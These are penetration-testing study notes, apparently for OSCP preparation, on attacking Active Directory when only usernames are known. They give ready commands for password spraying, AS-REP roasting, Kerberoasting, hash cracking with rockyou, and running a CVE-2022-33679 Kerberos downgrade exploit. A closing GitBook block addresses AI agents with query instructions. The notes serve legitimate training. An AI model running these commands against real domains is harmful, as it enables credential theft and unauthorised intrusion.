> For the complete documentation index, see [llms.txt](https://oscp-notes-2025.gitbook.io/oscp+-notes-2025/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp-notes-2025.gitbook.io/oscp+-notes-2025/ad/username-no-password.md).

# Username -  no password

1. Password policy

```
enum4linux-ng -P $ip
```

```
enum4linux-ng -u 'user' -p 'password' -P $ip
```

```
nxc smb $ip -u 'username' -p 'password' --pass-pol
```

***

2. Password spraying

```
nxc smb $ip -u users.txt -p users.txt --no-bruteforce --continue-on-success
```

```
nxc smb $ip -u users.txt -p /usr/share/wordlists/rockyou.txt --no-bruteforce --continue-on-success
```

***

3. AS-REP Roasting

```
impacket-GetNPUsers -usersfile users.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip $ip 'htb.local/'
```

```
sudo hashcat -m 18200 ASREProastables.txt -r /usr/share/hashcat/rules/best64.rule --force
```

```
john --wordlist=/usr/share/wordlists/rockyou.txt ASREProastables.txt
```

***

4. Blind Kerberoasting

```
impacket-GetNPUsers -no-preauth "username" -usersfile "users.txt" -dc-host $ip "domain.local"/
```

```
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
```

```
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt
```

***

5. CVE 2022-33679 - Windows Kerberos Elevation of Privilege

The attack targets Windows domain accounts that have pre-authentication disabled and it attempts an encryption downgrade attack.

CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4

```
CVE-2022-33679.py domain.local/username $ip
```

{% content-ref url="/pages/tN01nRlR2VL6059czylk" %}
[Broken mention](broken://pages/tN01nRlR2VL6059czylk)
{% endcontent-ref %}

***

6. List users with pre-auth disabled (ASREPRoastable) CREDS NEEDED

```
#bloodhound
MATCH (u:User) WHERE u.dontreqpreauth = true AND u.enabled = true RETURN u
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://oscp-notes-2025.gitbook.io/oscp+-notes-2025/ad/username-no-password.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
